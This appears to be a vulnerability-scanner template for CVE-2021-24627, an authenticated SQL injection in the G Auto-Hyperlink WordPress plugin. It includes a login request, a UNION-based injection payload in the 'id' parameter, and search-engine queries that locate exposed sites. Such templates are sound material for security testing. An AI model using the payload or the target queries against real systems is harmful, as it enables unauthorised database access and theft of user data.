Description
The G Auto-Hyperlink WordPress plugin through 1.0.1 does not sanitise or escape an 'id' GET parameter before using it in a SQL statement, to select data to be displayed in the admin dashboard, leading to an authenticated SQL injection
The G Auto-Hyperlink WordPress plugin through 1.0.1 does not sanitise or escape an 'id' GET parameter before using it in a SQL statement, to select data to be displayed in the admin dashboard, leading to an authenticated SQL injection
id: CVE-2021-24627
info:
name: G Auto-Hyperlink <= 1.0.1 - SQL Injection
author: theamanrawat
severity: high
description: |
The G Auto-Hyperlink WordPress plugin through 1.0.1 does not sanitise or escape an 'id' GET parameter before using it in a SQL statement, to select data to be displayed in the admin dashboard, leading to an authenticated SQL injection
impact: |
Authenticated administrators can exploit SQL injection in the admin dashboard to extract database contents, potentially exposing sensitive WordPress configuration and user data.
remediation: |
Update to G Auto-Hyperlink version 1.0.2 or later.
reference:
- https://wordpress.org/plugins/g-auto-hyperlink/
- https://wpscan.com/vulnerability/c04ea768-150f-41b8-b08c-78d1ae006bbb
- https://nvd.nist.gov/vuln/detail/CVE-2021-24627
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2021-24627
cwe-id: CWE-89
epss-score: 0.06668
epss-percentile: 0.93544
cpe: cpe:2.3:a:g_auto-hyperlink_project:g_auto-hyperlink:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: g_auto-hyperlink_project
product: g_auto-hyperlink
framework: wordpress
shodan-query: http.html:/wp-content/plugins/g-auto-hyperlink/
fofa-query: body=/wp-content/plugins/g-auto-hyperlink/
publicwww-query: /wp-content/plugins/g-auto-hyperlink/
tags: cve2021,cve,sqli,wpscan,wordpress,wp-plugin,wp,g-auto-hyperlink,authenticated,g_auto-hyperlink_project,vuln
variables:
num: 999999999
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+I
- |
GET /wp-admin/admin.php?page=g-auto-hyperlink-edit&id=-2198+UNION+ALL+SELECT+NULL%2Cmd5%28{{num}}%29%2Ccurrent_user%28%29%2Ccurrent_user%28%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "c8c605999f3d8352d7bb792cf3fdb25b"
- "Keyword"
- "g-auto-hyperlink-edit"
condition: and
- type: word
part: header_2
words:
- "text/html"
- type: status
status:
- 200
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